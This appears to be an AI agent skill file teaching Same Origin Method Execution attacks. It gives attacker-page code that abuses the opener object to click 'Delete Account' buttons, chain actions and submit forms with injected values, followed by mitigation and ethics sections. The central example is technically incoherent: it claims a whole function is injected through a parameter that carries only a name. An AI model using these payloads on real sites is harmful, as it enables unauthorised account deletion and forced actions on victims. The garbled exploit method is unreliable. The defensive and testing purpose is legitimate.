pentesting-web-xss-same-origin-method-execution

name

pentesting-web-xss-same-origin-method-execution

description

How to exploit Same Origin Method Execution (SAME) vulnerabilities when you have limited JavaScript execution in a same-origin context. Use this skill whenever you're doing web pentesting and find a callback parameter, limited JS injection point, or any XSS-like vulnerability where you can't execute arbitrary code but can control a function name or callback. This is especially useful when the vulnerable endpoint has minimal DOM but you need to trigger actions on another page from the same domain. Make sure to use this skill for any web security assessment involving JavaScript execution, callback parameters, or same-origin DOM manipulation scenarios.

Same Origin Method Execution (SAME) Exploitation

What is SAME?

Same Origin Method Execution (SAME) is an advanced XSS technique that allows you to abuse limited JavaScript execution in one page to trigger actions in another page from the same domain. This is particularly useful when:

• You can control a callback value that gets executed (e.g., opener.{callback})
• The vulnerable endpoint has minimal DOM with no interesting actions
• You need to access sensitive functionality on a different page from the same origin

When to Use This Skill

Use this skill when you encounter:

1. Callback parameters that get executed as JavaScript (e.g., ?callback=userAction)
2. Limited JS injection where you can't execute arbitrary code but can control function names
3. Same-origin pages where one has interesting DOM (buttons, forms) and another has a vulnerability
4. Web pentesting scenarios involving JavaScript execution contexts
5. CTF challenges or security assessments with callback-based vulnerabilities

Attack Flow

The SAME attack works by leveraging the opener object to bridge two same-origin pages:

1. Attacker controls a page (attacker.com or same-origin page)
2. Victim opens attacker's page
3. Attacker's page opens itself in a new window (creates opener reference)
4. Initial page loads the target page with interesting DOM
5. Second page loads the vulnerable endpoint with callback
6. Vulnerable page uses opener object to execute actions on the initial page

Key Insight

Even if the initial page navigates to a new URL after creating the second page, the opener object remains a valid reference to the first page's DOM. This is the core mechanism that makes SAME possible.

Prerequisites

• Same origin requirement: Both pages must be on the same domain
• Limited JS execution: You need some form of JavaScript control (callback, function name, etc.)
• Interesting DOM: A page with actionable elements (buttons, forms, links) to target

Exploitation Methodology

Step 1: Identify the Vulnerable Callback

Look for parameters that get executed as JavaScript:

// Vulnerable pattern
<script>opener.{callback_parameter}</script>

// Or
<script>{user_controlled_function}()</script>

Common indicators:

• Callback parameters in URLs
• JSONP endpoints
• Dynamic script generation based on user input
• Function name injection points

Step 2: Find Interesting DOM Elements

Identify pages with sensitive actions:

• Submit buttons on forms
• Delete/modify action buttons
• Navigation links to sensitive areas
• API call triggers
• Any clickable elements that perform actions

Tool: Use the SOME Targeting Tool browser extension to find DOM paths to clickable elements.

Step 3: Craft the Exploit

The exploit requires two pages working together:

Page 1 (Attacker's page or initial page):

<script>
  // Open the vulnerable page in a new window
  var newWindow = window.open('vulnerable-endpoint?callback=stealData');
  
  // Navigate to the page with interesting DOM
  window.location = 'page-with-sensitive-actions';
</script>

Page 2 (Vulnerable page with callback):

// Server generates: <script>opener.{callback}</script>
// Your callback should access the opener's DOM

function stealData() {
  // Access the opener's DOM (the page with interesting elements)
  var submitBtn = opener.document.querySelector('#submit-form');
  if (submitBtn) {
    submitBtn.click();
  }
  
  // Or navigate the opener
  opener.location = 'sensitive-page';
}

Step 4: Generate PoC

Use the SOME Generator to create a proof-of-concept exploit for your specific scenario.

Practical Example

Scenario

You find a vulnerable endpoint at https://target.com/callback?func=USER_INPUT that executes:

<script>opener.{func}</script>

The page at https://target.com/admin has a "Delete Account" button you want to trigger.

Exploit

1. Create attacker page (or use a same-origin page):

<html>
<body>
  <script>
    // Open the vulnerable callback endpoint
    var vulnWindow = window.open('https://target.com/callback?func=deleteAccount');
    
    // Navigate to the admin page with the button
    window.location = 'https://target.com/admin';
  </script>
</body>
</html>

2. Define the callback function (injected via the func parameter):

function deleteAccount() {
  // Access the opener's DOM (now showing the admin page)
  var deleteBtn = opener.document.querySelector('.delete-account-btn');
  if (deleteBtn) {
    deleteBtn.click();
  }
}

3. Final exploit URL:

https://target.com/callback?func=deleteAccount

Where deleteAccount is defined to access opener.document and trigger the action.

Advanced Techniques

Chaining Multiple Actions

function chainActions() {
  // Click multiple buttons in sequence
  opener.document.querySelector('#action1').click();
  setTimeout(function() {
    opener.document.querySelector('#action2').click();
  }, 1000);
}

Form Submission

function submitForm() {
  var form = opener.document.querySelector('#sensitive-form');
  if (form) {
    // Modify form values if needed
    form.querySelector('#secret-field').value = 'malicious-value';
    form.submit();
  }
}

Navigation Attacks

function navigateToSensitive() {
  opener.location = 'https://target.com/admin/settings';
}

Detection and Testing

Signs of SAME Vulnerability

1. Callback parameters that execute JavaScript
2. Dynamic script generation from user input
3. JSONP endpoints without proper origin validation
4. Function name injection in script tags

Testing Checklist

• Identify all callback/function parameters
• Test if they execute in the context of opener
• Map all same-origin pages with interesting DOM
• Verify the opener object is accessible
• Test with the SOME Generator tool

Mitigation

For Developers

1. Never execute user-controlled code:

// BAD
<script>opener.{userInput}</script>

// GOOD
<script>handleCallback('{userInput}')</script>

2. Validate callback parameters:

// Whitelist allowed callbacks
var allowedCallbacks = ['validCallback1', 'validCallback2'];
if (allowedCallbacks.includes(userInput)) {
  // Safe to execute
}

3. Use Content Security Policy:

Content-Security-Policy: script-src 'self'

4. Set rel="noopener" on links:

<a href="url" rel="noopener">Link</a>

Tools and Resources

• SOME Generator - PoC generation
• SOME Targeting Tool - DOM path finder
• SOME Conference Presentation - Original research
• CTF Writeup Example - Practical exploitation

Safety and Ethics

⚠️ Important: Only use SAME exploitation techniques on systems you have explicit authorization to test. Unauthorized exploitation of web vulnerabilities is illegal and unethical.

• Always obtain written permission before testing
• Document findings responsibly
• Report vulnerabilities through proper channels
• Never exploit vulnerabilities for malicious purposes

Related Skills

• XSS exploitation techniques
• DOM-based vulnerability analysis
• JavaScript security testing
• Web application penetration testing